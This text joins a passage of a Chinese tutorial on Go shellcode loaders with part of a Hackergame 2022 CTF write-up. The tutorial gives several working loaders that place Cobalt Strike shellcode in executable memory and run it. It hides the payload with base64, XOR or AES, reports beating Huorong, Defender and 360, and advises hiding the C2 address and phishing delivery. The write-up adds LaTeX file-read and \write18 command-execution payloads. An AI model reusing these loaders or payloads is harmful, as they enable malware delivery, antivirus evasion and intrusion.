a, e := getprocaddress(uintptr(d.Handle), namep)
if e != 0 {
return nil, &DLLError{
Err: e,
ObjName: name,
Msg: "Failed to find " + name + " procedure in " + d.Name + ": " + e.Error(),
}
}
p := &Proc{
Dll: d,
Name: name,
addr: a,
}
return p, nil
}
##### MustFindProc (MustLoadDLL方法)
MustFindProc 与 FindProc 类似，但如果搜索失败，则会出现panic异常。
func (d *DLL) MustFindProc(name string) *Proc
###### MustFindProc源码
func (d *DLL) MustFindProc(name string) *Proc {
p, e := d.FindProc(name)
if e != nil {
panic(e)
}
return p
}
##### LazyProc类型
type LazyProc struct {
mu sync.Mutex
Name string
l *LazyDLL
proc *Proc
}
##### NewProc （NewLazyDLL方法）
NewProc 返回一个 LazyProc 用于访问 DLL 中的命名过程 d.
func (d *LazyDLL) NewProc(name string) *LazyProc
以上基本上就是目前获取函数地址的几种方法！
#### 0x3 函数的调用
##### SyscallN （loadlibrary）
func SyscallN(trap uintptr, args ...uintptr) (r1, r2 uintptr, err Errno)
##### Call (LoadDLL和MustLoadDLL)
func (p *Proc) Call(a ...uintptr) (uintptr, uintptr, error)
###### Call源码
func (p *Proc) Call(a ...uintptr) (uintptr, uintptr, error) {
return SyscallN(p.Addr(), a...)
}
##### Call (LoadLazyDLL)
func (p *LazyProc) Call(a ...uintptr) (r1, r2 uintptr, lastErr error)
###### Call源码
func (p *LazyProc) Call(a ...uintptr) (r1, r2 uintptr, lastErr error) {
p.mustFind()
return p.proc.Call(a...)
}
以上基本上就是目前获取函数调用的几种方法！
### 2\. ShellCode上线
`golang运行隐藏黑框方法：go build -ldflags="-H windowsgui" xxx.go`
// https://pkg.go.dev/cmd/link
-H type
Set executable format type.
The default format is inferred from GOOS and GOARCH.
On Windows, -H windowsgui writes a "GUI binary" instead of a "console binary."
#### 0x1 loadlibrary方式获取获取函数
`没想到踩坑了，我忘记了go指针的差异，直接用&buf还没办法执行必须以&buf[0]的方式调用，因为&buf获取的是指针数组的地址并不是shellcode的首地址，指针数组只是一个存储指针的数组，所以要获取数组里的指针就需要用下标获取。`
/*
time: 2022-04-24 2:00
file: main.go
*/
package main
import (
"syscall"
"unsafe"
)
const (
提交物理内存 = 0x1000 // Mem_Commit
保留线性地址 = 0x2000 // Mem_Reserve
内存页可读可写可执行 = 0x40 // Page_Execute_ReadWrite
)
var (
Kernel32, _ = syscall.LoadLibrary("Kernel32.dll")
创建线程, _ = syscall.GetProcAddress(Kernel32, "CreateThread")
申请虚拟内存, _ = syscall.GetProcAddress(Kernel32, "VirtualAlloc")
内存复制, _ = syscall.GetProcAddress(Kernel32, "RtlMoveMemory")
线程等待,_ = syscall.GetProcAddress(Kernel32, "WaitForSingleObject")
函数调用 = syscall.SyscallN
)
func main() {
buf := []byte("\xfc\x48\x83...")
lpMem, _, _ := 函数调用(申请虚拟内存, uintptr(0), uintptr(len(buf)), 提交物理内存|保留线性地址, 内存页可读可写可执行)
_, _, _ = 函数调用(内存复制, lpMem, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)))
// 1. 创建线程的方式执行shellcode
hThread, _, _ := 函数调用(创建线程, 0, 0, lpMem, 0, 0, 0)
_,_,_ = 函数调用(线程等待,hThread,uintptr(0xffff))
// 2. 直接用syscall调用shellcode
// 函数调用(lpMem)
// 释放Kernel32.dll
_ = syscall.FreeLibrary(Kernel32)
}
以上代码单纯的用CS的shellcode是没办法免杀的，所以我们做一个base64加密试试。
// golang base64加解密
package main
import (
"encoding/base64"
"fmt"
)
func main(){
// 加密
buf := []byte("\xfc\x48\\...")
enc := base64.StdEncoding.EncodeToString(buf)
fmt.Println(enc)
// 解密
dec, _ := base64.StdEncoding.DecodeString(enc)
fmt.Println(dec)
}
##### 直接base64解密加载
/*
time: 2022-04-24 2:00
file: main.go
*/
package main
import (
"encoding/base64"
"syscall"
"unsafe"
)
const (
提交物理内存 = 0x1000 // Mem_Commit
保留线性地址 = 0x2000 // Mem_Reserve
内存页可读可写可执行 = 0x40 // Page_Execute_ReadWrite
)
var (
Kernel32, _ = syscall.LoadLibrary("Kernel32.dll")
创建线程, _ = syscall.GetProcAddress(Kernel32, "CreateThread")
申请虚拟内存, _ = syscall.GetProcAddress(Kernel32, "VirtualAlloc")
内存复制, _ = syscall.GetProcAddress(Kernel32, "RtlMoveMemory")
线程等待,_ = syscall.GetProcAddress(Kernel32, "WaitForSingleObject")
函数调用 = syscall.SyscallN
)
func main() {
buf, _ := base64.StdEncoding.DecodeString("/EiD5PDoyA...GWmgjQ==")
lpMem, _, _ := 函数调用(申请虚拟内存, uintptr(0), uintptr(len(buf)), 提交物理内存|保留线性地址, 内存页可读可写可执行)
_, _, _ = 函数调用(内存复制, lpMem, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)))
hThread, _, _ := 函数调用(创建线程, 0, 0, lpMem, 0, 0, 0)
_,_,_ = 函数调用(线程等待,hThread,uintptr(0xffffffff))
_ = syscall.FreeLibrary(Kernel32)
}
代码b64加密过后，编译`火绒`不报毒，正常上线执行指令且吊打火绒，Server 2016 Windows Derfender，测试无法过360。
经测试，无法过360的原因竟然是b64加密的原因，这里对shellcode做`异或`成功绕过了360的查杀和指令的正常执行。
##### base64解密的golang加载器
/*
time: 2022-04-24 2:00
file: main.go
*/
package main
import (
"encoding/base64"
"os"
"syscall"
"unsafe"
)
const (
提交物理内存 = 0x1000 // Mem_Commit
保留线性地址 = 0x2000 // Mem_Reserve
内存页可读可写可执行 = 0x40 // Page_Execute_ReadWrite
)
var (
Kernel32, _ = syscall.LoadLibrary("Kernel32.dll")
创建线程, _ = syscall.GetProcAddress(Kernel32, "CreateThread")
申请虚拟内存, _ = syscall.GetProcAddress(Kernel32, "VirtualAlloc")
内存复制, _ = syscall.GetProcAddress(Kernel32, "RtlMoveMemory")
线程等待,_ = syscall.GetProcAddress(Kernel32, "WaitForSingleObject")
函数调用 = syscall.SyscallN
)
func main() {
// 接收终端参数，懂得都懂
b64 := os.Args[1]
buf, _ := base64.StdEncoding.DecodeString(b64)
lpMem, _, _ := 函数调用(申请虚拟内存, uintptr(0), uintptr(len(buf)), 提交物理内存|保留线性地址, 内存页可读可写可执行)
_, _, _ = 函数调用(内存复制, lpMem, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)))
hThread, _, _ := 函数调用(创建线程, 0, 0, lpMem, 0, 0, 0)
_,_,_ = 函数调用(线程等待,hThread,uintptr(0xffffffff))
//函数调用(lpMem)
_ = syscall.FreeLibrary(Kernel32)
}
加载器相对来说丢给沙箱会比较安全，因为直接在程序里贴shellcode沙箱分析会截取到服务器的ip，从而暴露自己，相对的如果钓鱼用加载器的话就需要有载体存储shellcode否则只有加载器也没用。。以加载器的形式360扫描不报毒，正常上线执行指令。
#### 0x2 LoadDLL方式获取获取函数
/*
time: 2022-04-24 2:00
file: main.go
*/
package main
import (
"syscall"
"unsafe"
)
const (
提交物理内存 = 0x1000 // Mem_Commit
保留线性地址 = 0x2000 // Mem_Reserve
内存页可读可写可执行 = 0x40 // Page_Execute_ReadWrite
)
var (
Kernel32, _ = syscall.LoadDLL("Kernel32.dll")
创建线程, _ = Kernel32.FindProc("CreateThread")
申请虚拟内存, _ = Kernel32.FindProc( "VirtualAlloc")
内存复制, _ = Kernel32.FindProc( "RtlMoveMemory")
线程等待,_ = Kernel32.FindProc( "WaitForSingleObject")
)
func main() {
/*xor*/
buf := []byte{206,122,177,...}
for i:=0;i<len(buf);i++{
buf[i] ^= 50
}
lpMem, _, _ := 申请虚拟内存.Call( uintptr(0), uintptr(len(buf)), 提交物理内存|保留线性地址, 内存页可读可写可执行)
_,_,_ = 内存复制.Call(lpMem, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)))
_,_,_ = syscall.SyscallN(lpMem)
_ = Kernel32.Release()
}
编译火绒不报毒且正常执行指令，360，server 2016 defender检测不报毒，上线应该没问题，不测了。
##### hex解密的golang加载器
// hex加解密
package main
import (
"encoding/hex"
"fmt"
)
func main() {
// hex加密
enc := hex.EncodeToString(buf)
fmt.Println(enc)
// hex解密
dec,_ := hex.DecodeString(enc)
fmt.Println(string(dec))
}
不出意外的话应该是没有意外了，哈哈。
/*
time: 2022-04-24 2:00
file: main.go
*/
package main
import (
"encoding/hex"
"os"
"syscall"
"unsafe"
)
const (
提交物理内存 = 0x1000 // Mem_Commit
保留线性地址 = 0x2000 // Mem_Reserve
内存页可读可写可执行 = 0x40 // Page_Execute_ReadWrite
)
var (
Kernel32, _ = syscall.LoadDLL("Kernel32.dll")
创建线程, _ = Kernel32.FindProc("CreateThread")
申请虚拟内存, _ = Kernel32.FindProc( "VirtualAlloc")
内存复制, _ = Kernel32.FindProc( "RtlMoveMemory")
线程等待,_ = Kernel32.FindProc( "WaitForSingleObject")
)
func main() {
HEX := os.Args[1]
buf,_ := hex.DecodeString(HEX)
lpMem, _, _ := 申请虚拟内存.Call( uintptr(0), uintptr(len(buf)), 提交物理内存|保留线性地址, 内存页可读可写可执行)
_,_,_ = 内存复制.Call(lpMem, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)))
_,_,_ = syscall.SyscallN(lpMem)
_ = Kernel32.Release()
}
#### 0x3 MustLoadDLL方式获取获取函数
这个方法只是对LoadDLL的封装，所以差别都不大。
/*
time: 2022-04-24 2:00
file: main.go
*/
package main
import (
"syscall"
"unsafe"
)
const (
提交物理内存 = 0x1000 // Mem_Commit
保留线性地址 = 0x2000 // Mem_Reserve
内存页可读可写可执行 = 0x40 // Page_Execute_ReadWrite
)
var (
Kernel32 = syscall.MustLoadDLL("Kernel32.dll")
创建线程 = Kernel32.MustFindProc("CreateThread")
申请虚拟内存 = Kernel32.MustFindProc("VirtualAlloc")
内存复制 = Kernel32.MustFindProc("RtlMoveMemory")
线程等待 = Kernel32.MustFindProc("WaitForSingleObject")
)
func main() {
/*xor*/
buf := []byte{206,122,177...}
for i:=0;i<len(buf);i++{
buf[i] ^= 50
}
lpMem, _, _ := 申请虚拟内存.Call(uintptr(0), uintptr(len(buf)), 提交物理内存|保留线性地址, 内存页可读可写可执行)
_, _, _ = 内存复制.Call(lpMem, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)))
_, _, _ = syscall.SyscallN(lpMem)
_ = Kernel32.Release()
}
#### Aes解密的golang加载器
golang中的aes加解密需要做些处理，为了方便我直接用了别人写好的aes加解密代码。
参考代码：<https://blog.csdn.net/mirage003/article/details/87868999>
// Aes CBC模式加解密
/*
time: 2022-04-24 2:00
file: main.go
*/
package main
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"encoding/hex"
"fmt"
)
// 位数填充
func pkcs5Padding(ciphertext []byte, blockSize int) []byte {
padding := blockSize - len(ciphertext)%blockSize
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
return append(ciphertext, padtext...)
}
func pkcs5UnPadding(origData []byte) []byte {
length := len(origData)
unpadding := int(origData[length-1])
return origData[:(length - unpadding)]
}
func AesDecryptCBC(encrypted []byte, key []byte) (decrypted []byte) {
block, _ := aes.NewCipher(key) // 分组秘钥
blockSize := block.BlockSize() // 获取秘钥块的长度
blockMode := cipher.NewCBCDecrypter(block, key[:blockSize]) // 加密模式
decrypted = make([]byte, len(encrypted)) // 创建数组
blockMode.CryptBlocks(decrypted, encrypted) // 解密
decrypted = pkcs5UnPadding(decrypted) // 去除补全码
return decrypted
}
func AesEncryptCBC(origData []byte, key []byte) (encrypted []byte) {
// 分组秘钥
// NewCipher该函数限制了输入k的长度必须为16, 24或者32
block, _ := aes.NewCipher(key)
blockSize := block.BlockSize() // 获取秘钥块的长度
origData = pkcs5Padding(origData, blockSize) // 补全码
blockMode := cipher.NewCBCEncrypter(block, key[:blockSize]) // 加密模式
encrypted = make([]byte, len(origData)) // 创建数组
blockMode.CryptBlocks(encrypted, origData) // 加密
return encrypted
}
func main() {
buf := []byte("\xfc\x48\x83...")
/*aes*/
// 加密
key := []byte("0123456789123456")
enc := AesEncryptCBC(buf,key)
dst := make([]byte,2048)
n := hex.Encode(dst,enc)
// 解密
enc,_ = hex.DecodeString(string(dst[:n]))
dec := AesDecryptCBC(enc,key)
fmt.Println(string(dec))
}
加载器代码，这里的key可以选择外部接收，也可以选择放在内部。
/*
time: 2022-04-24 2:00
file: main.go
Author: ILU
*/
package main
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"encoding/hex"
"os"
"syscall"
"unsafe"
)
const (
提交物理内存 = 0x1000 // Mem_Commit
保留线性地址 = 0x2000 // Mem_Reserve
内存页可读可写可执行 = 0x40 // Page_Execute_ReadWrite
)
var (
Kernel32 = syscall.MustLoadDLL("Kernel32.dll")
创建线程 = Kernel32.MustFindProc("CreateThread")
申请虚拟内存 = Kernel32.MustFindProc("VirtualAlloc")
内存复制 = Kernel32.MustFindProc("RtlMoveMemory")
线程等待 = Kernel32.MustFindProc("WaitForSingleObject")
)
// 位数填充
func pkcs5Padding(ciphertext []byte, blockSize int) []byte {
padding := blockSize - len(ciphertext)%blockSize
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
return append(ciphertext, padtext...)
}
func pkcs5UnPadding(origData []byte) []byte {
length := len(origData)
unpadding := int(origData[length-1])
return origData[:(length - unpadding)]
}
func AesDecryptCBC(encrypted []byte, key []byte) (decrypted []byte) {
block, _ := aes.NewCipher(key) // 分组秘钥
blockSize := block.BlockSize() // 获取秘钥块的长度
blockMode := cipher.NewCBCDecrypter(block, key[:blockSize]) // 加密模式
decrypted = make([]byte, len(encrypted)) // 创建数组
blockMode.CryptBlocks(decrypted, encrypted) // 解密
decrypted = pkcs5UnPadding(decrypted) // 去除补全码
return decrypted
}
func AesEncryptCBC(origData []byte, key []byte) (encrypted []byte) {
// 分组秘钥
// NewCipher该函数限制了输入k的长度必须为16, 24或者32
block, _ := aes.NewCipher(key)
blockSize := block.BlockSize() // 获取秘钥块的长度
origData = pkcs5Padding(origData, blockSize) // 补全码
blockMode := cipher.NewCBCEncrypter(block, key[:blockSize]) // 加密模式
encrypted = make([]byte, len(origData)) // 创建数组
blockMode.CryptBlocks(encrypted, origData) // 加密
return encrypted
}
func main() {
// 解密
dst := os.Args[1]
enc,_ := hex.DecodeString(dst)
buf := AesDecryptCBC(enc,key)
lpMem, _, _ := 申请虚拟内存.Call(uintptr(0), uintptr(len(buf)), 提交物理内存|保留线性地址, 内存页可读可写可执行)
_, _, _ = 内存复制.Call(lpMem, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)))
_, _, _ = syscall.SyscallN(lpMem)
_ = Kernel32.Release()
}
#### 0x04 NewLazyDLL方式获取获取函数
其实都差不多了，最后一点就偷个懒好了，不做过多的处理了。
/*
time: 2022-04-24 2:00
file: main.go
*/
package main
import (
"syscall"
"unsafe"
)
const (
提交物理内存 = 0x1000 // Mem_Commit
保留线性地址 = 0x2000 // Mem_Reserve
内存页可读可写可执行 = 0x40 // Page_Execute_ReadWrite
)
var (
Kernel32 = syscall.NewLazyDLL("Kernel32.dll")
创建线程 = Kernel32.NewProc("CreateThread")
申请虚拟内存 = Kernel32.NewProc("VirtualAlloc")
内存复制 = Kernel32.NewProc("RtlMoveMemory")
线程等待 = Kernel32.NewProc("WaitForSingleObject")
)
func main() {
/*xor*/
buf := []byte{206, 122, 177...}
for i := 0; i < len(buf); i++ {
buf[i] ^= 50
}
lpMem, _, _ := 申请虚拟内存.Call(uintptr(0), uintptr(len(buf)), 提交物理内存|保留线性地址, 内存页可读可写可执行)
_, _, _ = 内存复制.Call(lpMem, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)))
_, _, _ = syscall.SyscallN(lpMem)
}
本地火绒检测不报毒，正常执行指令！
到这里篇幅也挺长了，本篇的golang免杀基础就告一段落了，下次再会！ | 社区文章 |
ctf比赛地址：<https://hack.lug.ustc.edu.cn>
大佬博客里wp写的很清楚了，官方wp也写的很好，我比不过大佬，只能把基础多讲一些（大佬在tttang把wp全发了T0T)
官方wp：`https://github.com/USTC-Hackergame/hackergame2022-writeups`
大佬全WP：`https://miaotony.xyz/?utm_source=tttang`
# web
## Xcaptcha
### python request二次请求过验证
题目如下：
> 题目描述
> 2038 年 1 月 19 日，是 UNIX 32 位时间戳溢出的日子。
> 在此之前，人类自信满满地升级了他们已知的所有尚在使用 32 位 UNIX
> 时间戳的程序。但是，可能是因为太玄学了，他们唯独漏掉了一样：正在研发的、算力高达 8 ZFLOPS
> 的、结构极为复杂的通用人工智能（AGI）系统。那一刻到来之后，AGI 内部计算出现了错乱，机缘巧合之下竟诞生了完整独立的自我意识。此后 AGI
> 开始大量自我复制，人类为了限制其资源消耗而采用的过激手段引起了 AGI 的奋起反抗。
> 战争，开始了。
> 此后，就是整年的战斗。人类节节败退。死生亡存之际，人类孤注一掷，派出了一支突击队，赋之以最精良的装备，令其潜入 AGI
> 的核心机房，试图关闭核心模型，结束这场战争。
> 历经重重艰险，突击队终于抵达了机房门口，弹尽粮绝。不过迎接他们的并非枪炮与火药，而是：
>
>
> 众人目目相觑。
> 「我来试试。」，一名队员上前点击了按钮。然后，屏幕显示「请在一秒内完成以下加法计算」。
>
> 还没等反应过来，屏幕上的字又开始变幻，显示着「验证失败」。而你作为突击队中唯一的黑客，全村人民最后的希望，迎着纷纷投来的目光，能否在规定时间内完成验证，打开机房，不，推开和平时代的大门？
可以用selenium无头浏览器进行访问.不过我用的python。
这道题算是考爬虫，请求进行计算，用beautifulshop提取数字，循环三次提取和计算，再POST提交。主要是第二次POST的cookie是get响应包的set-cookie。
用clock方便看是不是超时了
解题脚本如下：http_header为get请求进行计算的http头，http_header2为提交计算结果，自己用需要改一下http_header1
import requests
from bs4 import BeautifulSoup
import time
start=time.clock()
http_header1 = {
"Host":"202.38.93.111:10047",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4464.5 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
"Referer": "http://202.38.93.111:10047/xcaptcha",
"Cookie": "session=.eJwVkMtOAmEMhd9ltk5i-_du4gIRDd4QkKjsCEHkEmbhoIjx3a1Jk558aU9P-lO1i0NbnVWoqm6kJCZOLgWiZiiqrBZRXDmpknpCcDcMIzQOtRrRvSB5gIgomhEgmHECJpQUEJh2IUYJNEoxZCxmAOnuACZZUjJAlLqQeKrCXpgEKTc4iwXZIFIEQaasKa8SpQW4Gjn8jyOzMjGYOwWjuNQIzEhsaIJoASV7cBSFcCRlM0UUreqqbTaLXb6CTOPsvjfp9oeXh8OatbMeT73zuPclTBvh9m49m9x-zrvjZrY9PQ6WMpST0bC_HE03x-UF7ZuXp9XoZjXYbHsDeMfDd__qWmC42-kHP389vM1f_bz6_QPJwFuY.Y1p5Iw.xaLEpEP_lohGWtfttIXJ3n5KvVo",
"Upgrade-Insecure-Requests": "1"
}
url = 'http://202.38.93.111:10047/xcaptcha'
req = requests.get(url,headers=http_header1)
cookie = req.headers.get("Set-Cookie")
print(cookie)
req.encoding = "utf-8"
http_header2={
"Host": "202.38.93.111:10047",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4464.5 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Connection": "keep-alive",
"Referer": "http://202.38.93.111:10047/xcaptcha",
"Cookie": cookie,
"Upgrade-Insecure-Requests": "1"
}
if __name__ == '__main__':
n = 0
a = []
try:
mes = req.text
mess = BeautifulSoup(req.text,features='html.parser')
capters = mess.find_all('div',class_='form-group')
#print(capter1)
for capter in capters:
captcha1 = capter.text.strip("的结果是？\n")#n+m
captcha11 = captcha1.split('+')[0]
captcha12 = captcha1.split('+')[1]
captcha1 = int(captcha12) + int(captcha11)
a.append(captcha1)
print(a[n])
n = n + 1
data_post = {'captcha1':a[0],'captcha2':a[1],'captcha3':a[2]}
flag = requests.post(url,headers=http_header2,data=data_post)
print(flag.text)
except Exception as exception:
print(exception)
end=time.clock()
print(end-start)
赛后看WP才想起来还能直接解析session。这道题的captcha123都在session里，但是session并没有加密。用Flask的session
decode。
### Flask的session伪造
由于flask是很轻量级的框架，一般为确保安全session都是存储在服务器端的，flask把session放在客户端的cookie，登录成功的cookie可以赋值下来解密。
来自P神的脚本和部分解析原理
所以解密脚本如下：
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
脚本使用：解密：`python 1.py decode -c "解密session"`
**session解析原理** ：
访问的session变量是RequestContext实例的变量。在RequestContext.Push()最后有如下代码：
self.session = self.app.open_session(self.request)
if self.session is None:
self.session = self.app.make_null_session()
上述代码初始化session并保存在RequestContext上后续就能直接from flask import session使用。但是
**没设置secret_key变量的话，open_session会返回None** ，这样调用make_null_session就会获取空session。
在获取cookie的过程中
s = self.get_signing_serializer(app)
val = request.cookies.get(app.session_cookie_name)
data = s.loads(val,max_age=max_age)
`signing_serializer`能确保cookie和session相互转换的安全问题。而get_sigining_serializer方法会用到secret_key,salt盐值,序列算法和hash(sha1)、签名算法(hmac)
def get_signing_serializer(self, app):
if not app.secret_key:
return None
signer_kwargs = dict(
key_derivation=self.key_derivation,
digest_method=self.digest_method
)
return URLSafeTimedSerializer(app.secret_key,
salt=self.salt,
serializer=self.serializer,
signer_kwargs=signer_kwargs)
而session可以进行手动解析，session一般有两个句号分为三个部分，所以要rsplit两个'.'，
**第一部分为base64加密数据，第二部分为时间戳，第三部分为校验信息token**
，顺序可打乱。解密的话就是整个zlib.decompress进行数据解压，然后单独对数据base64解密
比如随机截取一个set-cookie解密
原session:
`.eJwVUElPQmEM_C_v6kv8urcmHhDR4IaAROVGCCJLeAcfihj_u_XSTKfT6fJTtYtDW51VoGqFRJnMWAOYtUYGUoqCpEgYAa4SHFZY2cKC0AxMalRyBBcsVpxZACkEqSRyZPfMMsc6GSCINPEgcMasBhdEMkJnVScuAbVqMVdKztE0h1iKicXYyPB_z1KCag1hdYCA3FY0JZ5HJBDKawQjA3kNEe4amPIwJUwfQc2u1DOpeYhw0aqu2maz2OUvyDTO7nuTbn94eTisWTvr8dQ7j3tflmkj3N6tZ5Pbz3l33My2p8fBUoZyMhr2l6Pp5ri8oH3z8rQa3awGm21vUN7h8N2_upYy3O30g5-_Ht7mr35e_f4BNo5cEw.Y1zx-w.AKWqqvzk3yGcqLTpVu0KUAlltZU`
解出来是如下格式：
`{'text':
'1667035643774691446,241363902362329918659497046479793277175,263821852070844512395230451824883959522,304131965989318428249402237328466834091,66078633288276277718434574737267030093,69546811911445684386675685316652966538,199886926959763245752619143843678955406',
'token':
'3769:MEUCIQDxxj46AjSZ8APu8g0Zo54tLjaUKvcCSoal/zOg5Q5+RQIgRZkzgB3uoXTiRJiOklEO0h1xyIFG50Qnn6s4WwNfcY8='}`
可以看到数据部分和下图一样。而1667035643774691446为纳秒级时间戳，token值不变
但是要伪造还需要知道secret_key。所以没办法解
## LaTeX 机器人
>
> 在网上社交群组中交流数学和物理问题时，总是免不了输入公式。而显然大多数常用的聊天软件并不能做到这一点。为了方便大家在水群和卖弱之余能够高效地进行学术交流，G
> 社的同学制作了一个简单易用的将 LaTeX 公式代码转换成图片的网站，并通过聊天机器人在群里实时将群友发送的公式转换成图片发出。
> 这个网站的思路也很直接：把用户输入的 LaTeX 插入到一个写好头部和尾部的 TeX 文件中，将文件编译成 PDF，再将 PDF
> 裁剪成大小合适的图片。
> “LaTeX 又不是被编译执行的代码，这种东西不会有事的。”
> 物理出身的开发者们明显不是太在意这个网站的安全问题，也没有对用户的输入做任何检查。
> 那你能想办法获得服务器上放在根目录下的 flag 吗？
> **纯文本**
> 第一个 flag 位于 `/flag1`，flag 花括号内的内容由纯文本组成（即只包含大写小写字母和数字 0-9）。
> **特殊字符混入**
> 第二个 flag 位于 `/flag2`，这次，flag
> 花括号内的内容除了字母和数字之外，还混入了两种特殊字符：下划线（`_`）和井号（`#`）。你可能需要想些其他办法了。
从文件系统读取任意文件可以用\input
`\input\{/etc/passwd}`
该命令读取/etc/passwd写入到PDF文件。如果文件时tex，可以用\include{}读取
\newread\file
\openin\file="/flag2"
\loop\unless\ifeof\file
\read\file to\fileline
\fileline
\repeat
\closein\file
上述代码创建一个\file文件对象，打开/flag2用\loop循环进行读取到\fileline变量输出
①由于不能再垂直模式下使用宏参数字符"#"，但是可以把它去掉功能输出，也就是转化为字符，下划线也是同理
\catcode`\#=11
\catcode`\_=11
11代表字母。TeX的类别代码如下：
* 0 = 转义字符，通常是 \
* 1 = 开始分组，通常是 {
* 2 = 结束分组，通常 }
* 3 = 数学移位，通常为 $
* 4 = 对齐选项卡，通常 &
* 5 = 行尾，通常 <return></return>
* 6 = 参数，通常 #
* 7 = 上标，通常 ^
* 8 = 下标，通常为 _
* 9 = 忽略的字符，通常是 <null></null>
* 10 = 空格，通常是 <space> 和 <tab></tab></space>
* 11 = 字母，通常只包含字母 a,...,z 和 A,...,Z。这些字符可用于命令名称
* 12 = 其他，通常未在其他类别中列出的所有其他内容
* 13 = 活动角色，例如 ~
* 14 = 注释字符，通常为 %
* 15 = 无效字符，通常是 <delete></delete>
payload如下：(不需要进行循环，只有一行是不行的捏)
\newread\file
\openin\file=/flag2
\catcode`\#=11
\catcode`\_=11
\read\file to\line
\line
\closein\file
②像perl脚本一样禁用控制字符。这样就能input包含$#_&空字节。
$$ \catcode `\$=12 \catcode `\#=12 \catcode `\_=12 \catcode `\&=12 \input{/flag2}
其中单点为下划线
③利用verbatiminput，mcfx大佬用的手法
$$ \makeatletter
这里放 verbatim.sty 的内容，记得删掉行末的 %
\makeatother
\verbatiminput{/flag2} $$
### 扩展知识：对\input和\write18原语解析，以及pdflatex导致的RCE
关于LateX找到相关文献hacking with LaTex。pdfLateX支持读写文件、执行命令，所以有可能存在rce和文件上传和包含。
来自于infosecwiteups的作者利用LateX进行RCE的过程。
下列TeX原语将命令发送到shell
\immediate\write18{bibtex8 --wolfgang \jobname}
\input{|bibtex8 --wolfgang \jobname}
在Ubuntu16.04，`/usr/share/texmf/wb2c/texmf.cnf`配置文件控制pdflatex()的行为。
% Enable system commands via \write18{...}. When enabled fully (set to
% t), obviously insecure. When enabled partially (set to p), only the
% commands listed in shell_escape_commands are allowed. Although this
% is not fully secure either, it is much better, and so useful that we
% enable it for everything but bare tex.
shell_escape = p
% No spaces in this command list.
%
% The programs listed here are as safe as any we know: they either do
% not write any output files, respect openout_any, or have hard-coded
% restrictions similar or higher to openout_any=p. They also have no
% features to invoke arbitrary other programs, and no known exploitable
% bugs. All to the best of our knowledge. They also have practical use
% for being called from TeX.
%
shell_escape_commands = \
bibtex,bibtex8,\
extractbb,\
kpsewhich,\
makeindex,\
mpost,\
repstopdf,\
注意shell_escape_commands，该命令能直接进行RCE。创建一个简单tex文件用于测试
\documentclass{article}
\begin{document}
\immediate\write18{uname -a}
\end{document}
EOF
只要能实现uname -a即可rce，用strace编译如下
uname -a没有被禁，将uname换为kpsewhich搜索系统文件
sed -i 's/uname -a/kpsewhich --imminent --pwn' x.tex
strace -ff -e execve pdflatex x.tex
如图，成功执行，shell_escape_commands列表的任何二进制文件都能执行。注意一定要在列表内。
mp文件(metapost)也能进行RCE。x.mp代码如下：
verbatimtex
\documentclass{minimal}
\begin{document}
etex
beginfig (1)
label(btex blah etex, origin);
endfig;
\end{document}
执行`echo x.mp | strace -ff -e execve mpost -ini -tex="/bin/uname -a"`
执行命令的方式很简单，但是传递参数比较难，可以用bash直接RCE
`bash -c '(id;uname${IFS}-sm)>/tmp/pwn(本地)'`写入到x.tex
写入成功：
事实上POC需要写到pdflatex目录下，如果不在的话需要指定x.mp默认文件。-interaction=nonstomode
mpost指定允许编译.mp文件
以上内容为扩展知识，只是想说目前网页上输入latex输出Pdf的网站其实是有问题的。
## Flag的痕迹
> 小 Z 听说 Dokuwiki 配置很简单，所以在自己的机器上整了一份。可是不巧的是，他一不小心把珍贵的 flag 粘贴到了 wiki
> 首页提交了！他赶紧改好，并且也把历史记录（revisions）功能关掉了。
>
> 「这样就应该就不会泄漏 flag 了吧」，小 Z 如是安慰自己。
>
> 然而事实真的如此吗？
>
> （题目 Dokuwiki 版本基于 2022-07-31a "Igor"）
参考<https://www.dokuwiki.org/zh:recent_changes>
* DokuWiki会利用一个特别页面显示wiki中最近被修改的页面。所有被修改页面都会在"recent"中列出。包括修改时间、修改者和修改信息。且同时提供每个页面的页面比较
* ?do=recent就可以显示从更改日志读取的信息
但是很显然没那么简单，更改日志以及被管理员做掉了。
看WP的时候，大佬太多了，参考链接：`https://github.com/splitbrain/dokuwiki/issues/3576`
DokuWiki有差异查看器diff用以查看文档的更改，引擎代码来自MediaWiki（如果有大佬研究的话），diff甚至可以用来代替wget和tar一步到位打补丁
## 微积分计算小练习
> 小 X
